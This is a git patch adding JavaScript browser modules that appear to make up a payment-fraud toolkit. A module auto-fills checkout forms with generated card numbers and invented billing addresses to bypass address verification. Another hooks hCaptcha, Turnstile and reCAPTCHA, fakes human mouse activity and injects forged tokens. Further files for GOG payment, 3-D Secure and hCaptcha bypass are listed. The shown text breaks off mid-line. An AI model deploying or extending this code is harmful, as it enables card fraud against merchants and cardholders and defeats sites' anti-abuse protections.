From 9eba656dbdd199d454fb31d817334fac3e479164 Mon Sep 17 00:00:00 2001 From: dela Date: Sat, 10 Jan 2026 11:36:27 +0800 Subject: [PATCH] first commit --- modules/AutoFillHandlerModule.js | 452 ++++++++ modules/CaptchaSolverModule.js | 1513 ++++++++++++++++++++++++++ modules/FetchInterceptorModule.js | 691 ++++++++++++ modules/GogPaymentHandlerModule.js | 977 +++++++++++++++++ modules/HCaptchaBypassModule.js | 428 ++++++++ modules/PaymentHandlerModule.js | 811 ++++++++++++++ modules/ThreeDSecureHandlerModule.js | 608 +++++++++++ 7 files changed, 5480 insertions(+) create mode 100644 modules/AutoFillHandlerModule.js create mode 100644 modules/CaptchaSolverModule.js create mode 100644 modules/FetchInterceptorModule.js create mode 100644 modules/GogPaymentHandlerModule.js create mode 100644 modules/HCaptchaBypassModule.js create mode 100644 modules/PaymentHandlerModule.js create mode 100644 modules/ThreeDSecureHandlerModule.js diff --git a/modules/AutoFillHandlerModule.js b/modules/AutoFillHandlerModule.js new file mode 100644 index 0000000..77332dc --- /dev/null +++ b/modules/AutoFillHandlerModule.js @@ -0,0 +1,452 @@ +/** + * ============================================================================ + * AutoFill Handler Module (Modularized Version) + * ============================================================================ + * 功能: + * 1. 智能識別並填充支付表單 (信用卡、賬單地址) + * 2. 模擬真實用戶輸入事件 (繞過 React/Vue/Angular 的狀態檢查) + * 3. MutationObserver 實時監聽動態加載的表單 + * 4. 內置多國賬單地址生成庫 (AVS 繞過) + * 5. 與其他模塊 (Card Generator) 聯動 + * + * 使用方式: + * const autofill = new AutoFillHandlerModule(config); + * autofill.init(); + * ============================================================================ + */ + +class AutoFillHandlerModule { + constructor(config = {}) { + this.config = { + enabled: true, + debug: false, + fillCardData: true, + fillBillingData: true, + fillDelay: 500, // 填充延遲 (毫秒),模擬人類思考 + typeDelay: 10, // 字符間隔延遲 (可選,用於更高級模擬) + autoSubmit: false, // 是否填充後自動提交 + targetCountry: 'US', // 默認賬單國家 + + // 字段選擇器映射 (支持 CSS 選擇器數組) + selectors: { + cardNumber: [ + 'input[name*="card"][name*="number"]', + 'input[name="cardNumber"]', + 'input[id*="cardNumber"]', + '.card-number input', + 'input[autocomplete="cc-number"]', + 'input[placeholder*="Card number"]' + ], + expDate: [ + 'input[name*="exp"]', + 'input[id*="exp"]', + 'input[autocomplete="cc-exp"]', + 'input[placeholder*="MM / YY"]' + ], + cvc: [ + 'input[name*="cvc"]', + 'input[name*="cvv"]', + 'input[autocomplete="cc-csc"]', + 'input[placeholder*="CVC"]' + ], + holderName: [ + 'input[name*="name"]', + 'input[autocomplete="cc-name"]', + 'input[id*="holder"]', + 'input[placeholder*="Cardholder"]' + ], + address: ['input[name*="address"]', 'input[autocomplete="street-address"]', 'input[id*="address"]'], + city: ['input[name*="city"]', 'input[autocomplete="address-level2"]'], + state: ['input[name*="state"]', 'select[name*="state"]', 'input[autocomplete="address-level1"]'], + zip: ['input[name*="zip"]', 'input[name*="postal"]', 'input[autocomplete="postal-code"]'], + country: ['select[name*="country"]', 'select[id*="country"]', 'input[name*="country"]'], + phone: ['input[name*="phone"]', 'input[type="tel"]'] + }, + + // 外部數據源 (如果提供,將覆蓋內部庫) + billingData: null, + ...config + }; + + // 內部狀態 + this.observer = null; + this.lastFilledTime = 0; + this.cachedCard = null; + + // 內置地址庫 (簡化版,實際使用可擴展) + this.billingDB = { + 'US': { + name: 'James Smith', + address: '450 West 33rd Street', + city: 'New York', + state: 'NY', + zip: '10001', + country: 'US', + phone: '2125550199' + }, + 'GB': { + name: 'Arthur Dent', + address: '42 Islington High St', + city: 'London', + state: '', + zip: 'N1 8EQ', + country: 'GB', + phone: '02079460123' + }, + 'CN': { + name: 'Zhang Wei', + address: 'No. 1 Fuxingmen Inner Street', + city: 'Beijing', + state: 'Beijing', + zip: '100031', + country: 'CN', + phone: '13910998888' + } + }; + + // 合併配置中的數據 + if (this.config.billingData) { + Object.assign(this.billingDB, this.config.billingData); + } + + // 綁定方法 + this.handleMutations = this.handleMutations.bind(this); + } + + /** + * 初始化模塊 + */ + init() { + this.log('Initializing AutoFill Handler Module...'); + + // 1. 啟動 DOM 監聽 + this.startObserver(); + + // 2. 監聽卡號生成事件 (來自 GOG/Stripe 模塊) + this.setupEventListeners(); + + // 3. 檢查頁面上已有的表單 + if (document.readyState === 'complete' || document.readyState === 'interactive') { + this.scanAndFill(document.body); + } else { + document.addEventListener('DOMContentLoaded', () => this.scanAndFill(document.body)); + } + + // 4. 暴露全局 API + this.exposeGlobalAPI(); + + this.log('Module initialized. Waiting for forms...'); + } + + /** + * 銷毀模塊 + */ + destroy() { + if (this.observer) { + this.observer.disconnect(); + this.observer = null; + } + this.log('Module destroyed'); + } + + /** + * ======================================================================== + * 事件監聽與聯動 + * ======================================================================== + */ + + setupEventListeners() { + // 監聽 GOG/Stripe 模塊的卡號生成事件 + const eventNames = ['GOG_CARD_GENERATED', 'STRIPE_CARD_GENERATED', 'CARD_GENERATED']; + + eventNames.forEach(evt => { + document.addEventListener(evt, (e) => { + this.log(`Received card data from ${evt}`, e.detail); + if (e.detail && e.detail.card) { + this.setCardData(e.detail.card); + } + }); + }); + + // 監聽 postMessage + window.addEventListener('message', (event) => { + if (event.data?.eventType === 'CARD_GENERATED') { + this.log('Received card data from postMessage', event.data.card); + this.setCardData(event.data.card); + } + }); + } + + setCardData(card) { + this.cachedCard = card; + // 收到新卡後立即重新掃描頁面 + this.scanAndFill(document.body); + } + + /** + * ======================================================================== + * Mutation Observer (DOM 監聽) + * ======================================================================== + */ + + startObserver() { + if (this.observer) return; + + this.observer = new MutationObserver(this.handleMutations); + this.observer.observe(document.body, { + childList: true, + subtree: true + }); + + this.log('DOM Observer started'); + } + + handleMutations(mutations) { + let shouldScan = false; + + for (const mutation of mutations) { + if (mutation.addedNodes.length > 0) { + for (const node of mutation.addedNodes) { + if (node.nodeType === 1) { // 元素節點 + // 簡單過濾:只關注包含 input/select/iframe 的節點 + if (node.tagName === 'INPUT' || + node.tagName === 'SELECT' || + node.tagName === 'IFRAME' || + node.querySelector('input, select, iframe')) { + shouldScan = true; + break; + } + } + } + } + if (shouldScan) break; + } + + if (shouldScan) { + // 防抖動:不要頻繁掃描 + if (this._scanTimeout) clearTimeout(this._scanTimeout); + this._scanTimeout = setTimeout(() => { + this.scanAndFill(document.body); + }, 200); + } + } + + /** + * ======================================================================== + * 核心填充邏輯 + * ======================================================================== + */ + + async scanAndFill(container) { + if (!this.config.enabled) return; + + // 獲取卡數據:優先使用緩存的 (剛生成的),其次嘗試從 Storage 讀取 + let cardData = this.cachedCard; + if (!cardData) { + cardData = this.loadCardFromStorage(); + } + + if (!cardData && this.config.fillCardData) { + // 如果沒有卡數據,我們只能填充地址 + this.log('No card data available yet. Skipping card fields.'); + } + + // 獲取賬單數據 + const billingProfile = this.billingDB[this.config.targetCountry] || this.billingDB['US']; + + this.log('Scanning container for fields...'); + + // 1. 填充信用卡字段 + if (this.config.fillCardData && cardData) { + await this.fillField(container, this.config.selectors.cardNumber, cardData.number); + + // 日期處理:有的表單是 MM / YY 分開,有的是合併 + // 這裡簡單處理合併的情況,或者可以擴展檢測邏輯 + const expVal = `${cardData.month} / ${cardData.year.slice(-2)}`; + await this.fillField(container, this.config.selectors.expDate, expVal); + + await this.fillField(container, this.config.selectors.cvc, cardData.cvc); + } + + // 2. 填充賬單字段 + if (this.config.fillBillingData && billingProfile) { + await this.fillField(container, this.config.selectors.holderName, billingProfile.name); + await this.fillField(container, this.config.selectors.address, billingProfile.address); + await this.fillField(container, this.config.selectors.city, billingProfile.city); + await this.fillField(container, this.config.selectors.state, billingProfile.state); + await this.fillField(container, this.config.selectors.zip, billingProfile.zip); + await this.fillField(container, this.config.selectors.phone, billingProfile.phone); + + // 國家字段比較特殊,通常是 Select + const countryEl = this.findElement(container, this.config.selectors.country); + if (countryEl) { + this.log('Found country field, attempting to set:', billingProfile.country); + this.simulateSelect(countryEl, billingProfile.country); + } + } + } + + /** + * 查找並填充單個字段 + */ + async fillField(container, selectors, value) { + if (!value) return; + + const element = this.findElement(container, selectors); + if (element) { + // 檢查是否已經填充過,避免覆蓋用戶手動輸入 + if (element.value && element.value === value) return; + if (element.getAttribute('data-autofilled') === 'true') return; + + this.log(`Filling field [${element.name || element.id}] with value length: ${value.length}`); + + // 延遲模擬 + await this.sleep(this.config.fillDelay); + + this.simulateInput(element, value); + element.setAttribute('data-autofilled', 'true'); + + // 高亮顯示 (可選,便於調試) + if (this.config.debug) { + element.style.backgroundColor = '#e8f0fe'; + element.style.transition = 'background-color 0.5s'; + } + } + } + + /** + * 輔助函數:根據選擇器列表查找元素 + */ + findElement(container, selectors) { + for (const selector of selectors) { + // 嘗試查找 + const el = container.querySelector(selector); + // 確保元素可見且可編輯 + if (el && !el.disabled && el.offsetParent !== null) { + return el; + } + } + return null; + } + + /** + * ======================================================================== + * 輸入模擬 (核心黑魔法) + * ======================================================================== + */ + + /** + * 模擬輸入事件序列 + * 這是繞過 React/Angular 狀態綁定的關鍵 + */ + simulateInput(element, value) { + if (!element) return; + + // 1. 獲取並保存原始值屬性描述符 + const nativeInputValueSetter = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, "value").set; + + // 2. 聚焦 + element.focus(); + element.dispatchEvent(new Event('focus', { bubbles: true })); + + // 3. 設置值 (使用原生 Setter 繞過框架代理) + nativeInputValueSetter.call(element, value); + + // 4. 觸發一系列事件 + const events = [ + new KeyboardEvent('keydown', { bubbles: true }), + new KeyboardEvent('keypress', { bubbles: true }), + new InputEvent('input', { bubbles: true, inputType: 'insertText', data: value }), + new KeyboardEvent('keyup', { bubbles: true }), + new Event('change', { bubbles: true }) + ]; + + events.forEach(event => element.dispatchEvent(event)); + + // 5. 失焦 + element.blur(); + element.dispatchEvent(new Event('blur', { bubbles: true })); + } + + /** + * 模擬下拉框選擇 + */ + simulateSelect(element, value) { + if (!element) return; + + // 嘗試匹配選項 (Value 或 Text) + let found = false; + for (let i = 0; i < element.options.length; i++) { + const option = element.options[i]; + if (option.value === value || option.text.includes(value)) { + element.selectedIndex = i; + found = true; + break; + } + } + + if (found) { + element.dispatchEvent(new Event('change', { bubbles: true })); + element.dispatchEvent(new Event('input', { bubbles: true })); + } + } + + /** + * ======================================================================== + * 工具方法 + * ======================================================================== + */ + + loadCardFromStorage() { + try { + // 嘗試讀取 GOG 模塊的存儲 + let json = localStorage.getItem('gogBypasserLastCardJSON'); + if (json) return JSON.parse(json); + + // 嘗試讀取通用存儲 + json = localStorage.getItem('StripeBypasserLastCard'); + if (json) return JSON.parse(json); + } catch (e) { + // ignore + } + return null; + } + + sleep(ms) { + return new Promise(resolve => setTimeout(resolve, ms)); + } + + /** + * 全局 API + */ + exposeGlobalAPI() { + window.autofillHandler = { + module: this, + fill: () => this.scanAndFill(document.body), + setCard: (card) => this.setCardData(card), + updateConfig: (cfg) => { Object.assign(this.config, cfg); }, + getBillingProfile: (country) => this.billingDB[country] + }; + } + + log(...args) { + if (this.config.debug) { + console.log('[AutoFill]', ...args); + } + } +} + +/** + * ============================================================================ + * 自動初始化 + * ============================================================================ + */ +window.AutoFillHandlerModule = AutoFillHandlerModule; + +if (typeof AUTOFILL_AUTO_INIT !== 'undefined' && AUTOFILL_AUTO_INIT) { + const instance = new AutoFillHandlerModule({ + debug: true + }); + instance.init(); + window.__autofill = instance; +} diff --git a/modules/CaptchaSolverModule.js b/modules/CaptchaSolverModule.js new file mode 100644 index 0000000..4b55fde --- /dev/null +++ b/modules/CaptchaSolverModule.js @@ -0,0 +1,1513 @@ +/** + * ============================================================================ + * Captcha Solver Module - Universal Bypass System + * ============================================================================ + * 功能: + * 1. 自動檢測頁面上的 hCaptcha/Turnstile/reCAPTCHA + * 2. 嘗試多種求解策略:點擊模擬 → Token 注入 → API 調用 + * 3. 模擬人類行為(鼠標移動、隨機延遲、完整事件序列) + * 4. 支持多個 API 服務:CapSolver / 2Captcha / NopeCHA / NoCaptchaAI + * 5. 自動觸發回調函數和自定義事件 + * + * 作者: LO & ENI + * 警告: 此模塊僅供教育和研究用途 + * ============================================================================ + */ + +class CaptchaSolverModule { + constructor(config = {}) { + this.config = { + enabled: true, + debug: false, + + // 求解策略 + autoSolve: true, + solveDelay: 800, + maxRetries: 3, + + // API 配置 + apiKey: '', + apiService: 'capsolver', // 'capsolver' | '2captcha' | 'nopecha' | 'nocaptchaai' + useAPIFallback: false, + apiTimeout: 120000, // 2分鐘 + + // 行為模擬 + simulateHumanBehavior: true, + mouseMovementSteps: 20, + clickDelay: { min: 50, max: 150 }, + + // 監控配置 + observerEnabled: true, + scanInterval: 2000, + + // Token 生成 + generateRealisticTokens: true, + + ...config + }; + + // 內部狀態 + this.observer = null; + this.scanTimer = null; + this.activeSolvers = new Map(); + this.solvedCaptchas = new WeakSet(); + this.listeners = new Map(); + + // API 服務端點 + this.apiServices = { + capsolver: { + createTask: 'https://api.capsolver.com/createTask', + getTaskResult: 'https://api.capsolver.com/getTaskResult', + balance: 'https://api.capsolver.com/getBalance' + }, + '2captcha': { + inUrl: 'https://2captcha.com/in.php', + resUrl: 'https://2captcha.com/res.php' + }, + nopecha: { + endpoint: 'https://api.nopecha.com/token', + status: 'https://api.nopecha.com/status' + }, + nocaptchaai: { + solve: 'https://api.nocaptchaai.com/solve', + status: 'https://api.nocaptchaai.com/status' + } + }; + + // 驗證碼選擇器 + this.selectors = { + hcaptcha: [ + 'iframe[src*="hcaptcha.com"]', + 'div[id*="hcaptcha"]', + '.h-captcha', + 'textarea[name="h-captcha-response"]', + '[data-hcaptcha-widget-id]' + ], + turnstile: [ + '.cf-turnstile', + 'iframe[src*="challenges.cloudflare.com"]', + 'input[name="cf-turnstile-response"]', + '[data-sitekey*="0x4"]' + ], + recaptcha: [ + 'iframe[src*="recaptcha/api2"]', + 'iframe[src*="google.com/recaptcha"]', + '.g-recaptcha', + '.grecaptcha-badge', + 'div[id^="rc-anchor-container"]' + ] + }; + + // 統計數據 + this.stats = { + detected: 0, + solved: 0, + failed: 0, + apiCalls: 0 + }; + } + + /** + * ======================================================================== + * 初始化與銷毀 + * ======================================================================== + */ + + init() { + if (!this.config.enabled) { + this.warn('Captcha Solver is disabled'); + return; + } + + this.log('Initializing Captcha Solver Module...'); + + // Hook 全局 API + this.hookGlobalAPIs(); + + // 啟動 DOM 監控 + if (this.config.observerEnabled) { + this.startObserver(); + } + + // 定時掃描(備份機制) + this.startScanning(); + + // 立即掃描一次 + this.scanDocument(); + + // 暴露全局 API + this.exposeGlobalAPI(); + + this.success('Captcha Solver Active. Hunting for captchas...'); + } + + destroy() { + // 停止監控 + if (this.observer) { + this.observer.disconnect(); + } + + // 停止掃描 + if (this.scanTimer) { + clearInterval(this.scanTimer); + } + + // 清理所有求解器 + this.activeSolvers.forEach(solver => solver.cancel()); + this.activeSolvers.clear(); + + this.log('Captcha Solver destroyed'); + } + + /** + * ======================================================================== + * API Hook + * ======================================================================== + */ + + hookGlobalAPIs() { + // Hook hCaptcha + this.hookHCaptcha(); + + // Hook Turnstile + this.hookTurnstile(); + + // Hook reCAPTCHA + this.hookReCaptcha(); + } + + hookHCaptcha() { + const originalHCaptcha = window.hcaptcha; + const self = this; + + window.hcaptcha = new Proxy(originalHCaptcha || {}, { + get(target, prop) { + if (prop === 'getResponse') { + return function(widgetId) { + const injected = self.getInjectedToken('hcaptcha', widgetId); + if (injected) { + self.log('Returning injected hCaptcha token'); + return injected; + } + return target.getResponse ? target.getResponse(widgetId) : ''; + }; + } + + if (prop === 'render') { + return function(...args) { + self.log('hCaptcha render called', args); + const result = target.render ? target.render.apply(target, args) : null; + setTimeout(() => self.scanDocument(), 500); + return result; + }; + } + + return target[prop]; + } + }); + + this.log('hCaptcha API hooked'); + } + + hookTurnstile() { + if (!window.turnstile) { + window.turnstile = {}; + } + + const originalRender = window.turnstile.render; + const self = this; + + window.turnstile.render = function(...args) { + self.log('Turnstile render called', args); + const result = originalRender ? originalRender.apply(window.turnstile, args) : null; + setTimeout(() => self.scanDocument(), 500); + return result; + }; + + this.log('Turnstile API hooked'); + } + + hookReCaptcha() { + const self = this; + + // 等待 grecaptcha 加載 + Object.defineProperty(window, 'grecaptcha', { + get() { + return this._grecaptcha; + }, + set(value) { + this._grecaptcha = value; + + if (value && value.execute) { + const originalExecute = value.execute; + + value.execute = async function(...args) { + self.log('grecaptcha.execute called', args); + + const injected = self.getInjectedToken('recaptcha'); + if (injected) { + self.log('Returning injected reCAPTCHA token'); + return injected; + } + + return originalExecute.apply(value, args); + }; + } + + if (value && value.render) { + const originalRender = value.render; + + value.render = function(...args) { + self.log('grecaptcha.render called', args); + const result = originalRender.apply(value, args); + setTimeout(() => self.scanDocument(), 500); + return result; + }; + } + }, + configurable: true + }); + + this.log('reCAPTCHA API hooked'); + } + + /** + * ======================================================================== + * DOM 監控與掃描 + * ======================================================================== + */ + + startObserver() { + this.observer = new MutationObserver((mutations) => { + let shouldScan = false; + + for (const mutation of mutations) { + if (mutation.addedNodes.length > 0) { + shouldScan = true; + break; + } + } + + if (shouldScan) { + this.scanDocument(); + } + }); + + this.observer.observe(document.body, { + childList: true, + subtree: true + }); + + this.log('DOM observer started'); + } + + startScanning() { + this.scanTimer = setInterval(() => { + this.scanDocument(); + }, this.config.scanInterval); + + this.log('Periodic scanning started'); + } + + scanDocument() { + for (const [type, selectorList] of Object.entries(this.selectors)) { + for (const selector of selectorList) { + document.querySelectorAll(selector).forEach(element => { + if (this.isVisible(element) && !this.solvedCaptchas.has(element)) { + this.handleCaptchaDetected(element, type); + } + }); + } + } + } + + isVisible(element) { + if (!element) return false; + + const style = window.getComputedStyle(element); + const rect = element.getBoundingClientRect(); + + return style.display !== 'none' && + style.visibility !== 'hidden' && + parseFloat(style.opacity) > 0 && + rect.width > 0 && + rect.height > 0; + } + + /** + * ======================================================================== + * 驗證碼處理 + * ======================================================================== + */ + + handleCaptchaDetected(element, type) { + this.stats.detected++; + this.log(`Captcha detected: ${type.toUpperCase()}`); + + // 廣播事件 + this.broadcastEvent('CAPTCHA_DETECTED', { type, element }); + + // 創建求解器 + const solver = new CaptchaSolver(element, type, this.config, this); + this.activeSolvers.set(element, solver); + + // 自動求解 + if (this.config.autoSolve) { + setTimeout(() => { + solver.solve().then(() => { + this.stats.solved++; + this.solvedCaptchas.add(element); + this.activeSolvers.delete(element); + this.success(`Captcha solved: ${type}`); + this.broadcastEvent('CAPTCHA_SOLVED', { type, element, token: solver.token }); + }).catch((error) => { + this.stats.failed++; + this.error(`Captcha solve failed: ${type}`, error); + this.broadcastEvent('CAPTCHA_FAILED', { type, element, error: error.message }); + }); + }, this.config.solveDelay); + } + } + + getInjectedToken(type, widgetId = null) { + for (const [element, solver] of this.activeSolvers.entries()) { + if (solver.type === type && solver.token) { + return solver.token; + } + } + return null; + } + + /** + * ======================================================================== + * 事件系統 + * ======================================================================== + */ + + broadcastEvent(eventType, payload) { + const message = { + type: `CAPTCHA_SOLVER_${eventType}`, + ...payload, + timestamp: Date.now() + }; + + // postMessage + window.postMessage(message, '*'); + + // CustomEvent + const event = new CustomEvent('CAPTCHA_SOLVER_EVENT', { + detail: message + }); + window.dispatchEvent(event); + + // 內部監聽器 + if (this.listeners.has(eventType)) { + this.listeners.get(eventType).forEach(callback => { + try { + callback(payload); + } catch (error) { + this.error('Listener error:', error); + } + }); + } + } + + on(eventType, callback) { + if (!this.listeners.has(eventType)) { + this.listeners.set(eventType, []); + } + this.listeners.get(eventType).push(callback); + } + + /** + * ======================================================================== + * 統計與查詢 + * ======================================================================== + */ + + getStats() { + return { + ...this.stats, + activeSolvers: this.activeSolvers.size + }; + } + + getActiveSolvers() { + return Array.from(this.activeSolvers.values()); + } + + /** + * ======================================================================== + * 全局 API + * ======================================================================== + */ + + exposeGlobalAPI() { + window.captchaSolver = { + module: this, + on: (event, callback) => this.on(event, callback), + solve: (element, type) => this.handleCaptchaDetected(element, type), + getStats: () => this.getStats(), + getActiveSolvers: () => this.getActiveSolvers(), + updateConfig: (cfg) => Object.assign(this.config, cfg), + scan: () => this.scanDocument() + }; + + this.log('Global API exposed as window.captchaSolver'); + } + + /** + * ======================================================================== + * 日誌工具 + * ======================================================================== + */ + + log(...args) { + if (this.config.debug) { + console.log('[CaptchaSolver]', ...args); + } + } + + success(msg) { + console.log(`%c[CaptchaSolver SUCCESS] ${msg}`, 'color: lime; font-weight: bold;'); + } + + warn(msg) { + console.log(`%c[CaptchaSolver WARN] ${msg}`, 'color: orange; font-weight: bold;'); + } + + error(...args) { + console.error('[CaptchaSolver ERROR]', ...args); + } +} + +/** + * ============================================================================ + * Captcha Solver - 單個驗證碼求解器 + * ============================================================================ + */ + +class CaptchaSolver { + constructor(element, type, config, parent) { + this.element = element; + this.type = type; + this.config = config; + this.parent = parent; + + this.token = null; + this.sitekey = null; + this.retryCount = 0; + this.cancelled = false; + } + + async solve() { + if (this.cancelled) return; + + this.log(`Starting solve for ${this.type}...`); + + // 提取 sitekey + this.sitekey = this.extractSitekey(); + this.log(`Sitekey: ${this.sitekey || 'not found'}`); + + try { + // 策略 1: 點擊模擬 + await this.tryClickSimulation(); + + if (this.token) { + this.log('Solved via click simulation'); + return; + } + + } catch (error) { + this.log('Click simulation failed:', error.message); + } + + try { + // 策略 2: Token 注入 + await this.tryTokenInjection(); + + if (this.token) { + this.log('Solved via token injection'); + return; + } + + } catch (error) { + this.log('Token injection failed:', error.message); + } + + // 策略 3: API 調用 (如果啟用) + if (this.config.useAPIFallback) { + try { + await this.solveViaAPI(); + + if (this.token) { + this.log('Solved via API'); + return; + } + + } catch (error) { + this.log('API solve failed:', error.message); + } + } + + // 重試邏輯 + if (this.retryCount < this.config.maxRetries) { + this.retryCount++; + this.log(`Retry ${this.retryCount}/${this.config.maxRetries}...`); + await this.sleep(2000); + return this.solve(); + } + + throw new Error(`Failed to solve ${this.type} after ${this.config.maxRetries} retries`); + } + + cancel() { + this.cancelled = true; + } + + /** + * ======================================================================== + * 策略 1: 點擊模擬 + * ======================================================================== + */ + + async tryClickSimulation() { + this.log('Attempting click simulation...'); + + // 模擬人類行為 + if (this.config.simulateHumanBehavior) { + await this.simulateHumanBehavior(); + } + + // 根據類型找到可點擊的元素 + let clickableElement = null; + + if (this.type === 'hcaptcha') { + clickableElement = await this.findHCaptchaCheckbox(); + } else if (this.type === 'turnstile') { + clickableElement = await this.findTurnstileCheckbox(); + } else if (this.type === 'recaptcha') { + clickableElement = await this.findRecaptchaCheckbox(); + } + + if (!clickableElement) { + throw new Error('No clickable element found'); + } + + // 執行點擊 + this.simulateHumanClick(clickableElement); + + // 輪詢等待結果 + const success = await this.waitForSolveCompletion(30000); + + if (!success) { + throw new Error('Click simulation timeout'); + } + + // 提取 token + this.token = this.extractToken(); + } + + async findHCaptchaCheckbox() { + // 嘗試多種查找方式 + const searches = [ + // 方法1: iframe 內部 + () => { + if (this.element.tagName === 'IFRAME') { + try { + const doc = this.element.contentWindow.document; + return doc.querySelector('#checkbox') || + doc.querySelector('.recaptcha-checkbox-border') || + doc.querySelector('[role="checkbox"]'); + } catch (e) { + return null; + } + } + return null; + }, + + // 方法2: 容器內查找 + () => { + const container = this.element.closest('.h-captcha') || + document.querySelector('.h-captcha'); + if (!container) return null; + + // Shadow DOM + const shadowHost = container.querySelector('[data-hcaptcha-widget-id]'); + if (shadowHost && shadowHost.shadowRoot) { + return shadowHost.shadowRoot.querySelector('#checkbox') || + shadowHost.shadowRoot.querySelector('[role="checkbox"]'); + } + + return null; + }, + + // 方法3: 全局查找 iframe + () => { + const iframes = document.querySelectorAll('iframe[src*="hcaptcha.com/captcha"]'); + for (const iframe of iframes) { + try { + const doc = iframe.contentWindow.document; + const checkbox = doc.querySelector('#checkbox'); + if (checkbox && this.isVisible(checkbox)) { + return checkbox; + } + } catch (e) { + continue; + } + } + return null; + } + ]; + + for (const search of searches) { + const result = search(); + if (result) { + this.log('Found hCaptcha checkbox'); + return result; + } + } + + return null; + } + + async findTurnstileCheckbox() { + const container = this.element.closest('.cf-turnstile') || + document.querySelector('.cf-turnstile'); + + if (!container) return null; + + // Turnstile 可能有多種呈現方式 + const searches = [ + container.querySelector('input[type="checkbox"]'), + container.querySelector('[role="button"]'), + container.querySelector('[role="checkbox"]'), + container.querySelector('iframe'), + ]; + + for (const el of searches) { + if (el && this.isVisible(el)) { + this.log('Found Turnstile clickable element'); + return el; + } + } + + return null; + } + + async findRecaptchaCheckbox() { + // reCAPTCHA v2 + if (this.element.tagName === 'IFRAME') { + try { + const doc = this.element.contentWindow.document; + return doc.querySelector('.recaptcha-checkbox-border') || + doc.querySelector('#recaptcha-anchor') || + doc.querySelector('[role="checkbox"]'); + } catch (e) { + return null; + } + } + + // 查找 anchor iframe + const iframes = document.querySelectorAll('iframe[src*="recaptcha/api2/anchor"]'); + for (const iframe of iframes) { + try { + const doc = iframe.contentWindow.document; + const checkbox = doc.querySelector('.recaptcha-checkbox-border'); + if (checkbox && this.isVisible(checkbox)) { + return checkbox; + } + } catch (e) { + continue; + } + } + + return null; + } + + simulateHumanClick(element) { + const rect = element.getBoundingClientRect(); + + // 添加隨機偏移 + const offsetX = (Math.random() - 0.5) * 10; + const offsetY = (Math.random() - 0.5) * 10; + + const x = rect.left + (rect.width * 0.5) + offsetX; + const y = rect.top + (rect.height * 0.5) + offsetY; + + const eventOptions = { + bubbles: true, + cancelable: true, + view: window, + clientX: x, + clientY: y, + screenX: window.screenX + x, + screenY: window.screenY + y, + button: 0, + buttons: 1, + pointerId: 1, + pointerType: 'mouse', + isPrimary: true, + pressure: 0.5, + detail: 1 + }; + + // 完整的事件序列 + const events = [ + new PointerEvent('pointerover', eventOptions), + new MouseEvent('mouseover', eventOptions), + new PointerEvent('pointerenter', eventOptions), + new MouseEvent('mouseenter', eventOptions), + new PointerEvent('pointermove', eventOptions), + new MouseEvent('mousemove', eventOptions), + new PointerEvent('pointerdown', eventOptions), + new MouseEvent('mousedown', eventOptions), + ]; + + events.forEach(event => element.dispatchEvent(event)); + + // 模擬按下延遲 + const clickDelay = this.config.clickDelay.min + + Math.random() * (this.config.clickDelay.max - this.config.clickDelay.min); + + setTimeout(() => { + element.dispatchEvent(new PointerEvent('pointerup', eventOptions)); + element.dispatchEvent(new MouseEvent('mouseup', eventOptions)); + element.dispatchEvent(new MouseEvent('click', eventOptions)); + element.dispatchEvent(new PointerEvent('pointerout', eventOptions)); + element.dispatchEvent(new MouseEvent('mouseout', eventOptions)); + }, clickDelay); + + this.log(`Simulated click at (${x.toFixed(1)}, ${y.toFixed(1)})`); + } + + async simulateHumanBehavior() { + this.log('Simulating human behavior...'); + + // 生成隨機鼠標軌跡 + const steps = this.config.mouseMovementSteps; + const startX = Math.random() * window.innerWidth; + const startY = Math.random() * window.innerHeight; + const endX = Math.random() * window.innerWidth; + const endY = Math.random() * window.innerHeight; + + for (let i = 0; i <= steps; i++) { + const t = i / steps; + // Ease-in-out 曲線 + const easedT = t < 0.5 ? 2 * t * t : -1 + (4 - 2 * t) * t; + + const x = startX + (endX - startX) * easedT; + const y = startY + (endY - startY) * easedT; + + document.dispatchEvent(new MouseEvent('mousemove', { + clientX: x, + clientY: y, + bubbles: true + })); + + await this.sleep(Math.random() * 30 + 10); + } + + // 隨機滾動 + const scrollAmount = (Math.random() - 0.5) * 300; + window.scrollBy({ + top: scrollAmount, + behavior: 'smooth' + }); + + await this.sleep(Math.random() * 500 + 300); + } + + async waitForSolveCompletion(timeout) { + const startTime = Date.now(); + const checkInterval = 500; + + while (Date.now() - startTime < timeout) { + // 檢查是否已求解 + if (this.isSolved()) { + return true; + } + + // 檢查是否出現了挑戰 (需要圖片識別) + if (this.hasChallengeAppeared()) { + this.log('Challenge appeared - needs image recognition'); + return false; + } + + await this.sleep(checkInterval); + } + + return false; + } + + isSolved() { + // 根據類型檢查不同的指標 + if (this.type === 'hcaptcha') { + const response = document.querySelector('textarea[name="h-captcha-response"]'); + if (response && response.value.length > 0) { + return true; + } + + const container = this.element.closest('.h-captcha'); + if (container && container.getAttribute('data-hcaptcha-response')) { + return true; + } + } + + if (this.type === 'turnstile') { + const response = document.querySelector('input[name="cf-turnstile-response"]'); + if (response && response.value.length > 0) { + return true; + } + + const container = this.element.closest('.cf-turnstile'); + if (container && container.getAttribute('data-cf-turnstile-solved') === 'true') { + return true; + } + } + + if (this.type === 'recaptcha') { + const response = document.getElementById('g-recaptcha-response'); + if (response && response.value.length > 0) { + return true; + } + } + + return false; + } + + hasChallengeAppeared() { + const challengeSelectors = { + hcaptcha: [ + 'iframe[src*="hcaptcha.com/challenge"]', + '.h-captcha-challenge', + 'iframe[title*="hCaptcha challenge"]' + ], + turnstile: [ + 'iframe[src*="challenges.cloudflare.com"]', + '.cf-challenge-running' + ], + recaptcha: [ + 'iframe[src*="recaptcha/api2/bframe"]', + '.recaptcha-challenge' + ] + }; + + const selectors = challengeSelectors[this.type] || []; + + for (const selector of selectors) { + const challenge = document.querySelector(selector); + if (challenge && this.isVisible(challenge)) { + return true; + } + } + + return false; + } + + /** + * ======================================================================== + * 策略 2: Token 注入 + * ======================================================================== + */ + + async tryTokenInjection() { + this.log('Attempting token injection...'); + + // 生成逼真的 token + this.token = this.generateRealisticToken(); + + if (!this.token) { + throw new Error('Failed to generate token'); + } + + // 根據類型注入 + if (this.type === 'hcaptcha') { + this.injectHCaptchaToken(); + } else if (this.type === 'turnstile') { + this.injectTurnstileToken(); + } else if (this.type === 'recaptcha') { + this.injectRecaptchaToken(); + } + + // 觸發回調 + this.triggerCallbacks(); + } + + generateRealisticToken() { + if (!this.config.generateRealisticTokens) { + return null; + } + + const patterns = { + hcaptcha: { + prefix: 'P1_', + length: 240, + charset: 